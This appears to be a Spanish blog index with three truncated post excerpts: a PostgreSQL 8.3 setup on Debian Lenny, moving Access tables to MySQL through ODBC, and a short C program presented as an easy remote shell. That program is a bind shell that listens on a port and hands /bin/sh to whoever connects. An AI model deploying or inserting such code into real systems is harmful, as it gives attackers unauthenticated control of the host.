Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.

Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.

gandalf:~# mkdir -p /var/pgsql
gandalf:~# mkdir -p /var/pgsql/data
gandalf:~# chown postgres /var/pgsql/data

gandalf:~# su - postgres
postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb... 

Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras

Usando el odbc

Se puede hacer todo desde windows.

1. Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
2. Instalamos el ODBC para mysql. 
3. Creamos una BBDD mysql a través de phpmyadmin
4. Metemos una entrada en el gestor de odbc para la nueva BBDD...

En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main () {

int sock,canal;
struct sockaddr_in dir_servidor;

dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;

sock=socket(2,1,0);

bind(sock,(struct sockaddr *) &dir_servidor,0x10);

listen(sock,1);

canal = accept(sock,0,0);

dup2(canal,0);
dup2(canal,1);

execve("/bin/sh",0,0);

}

...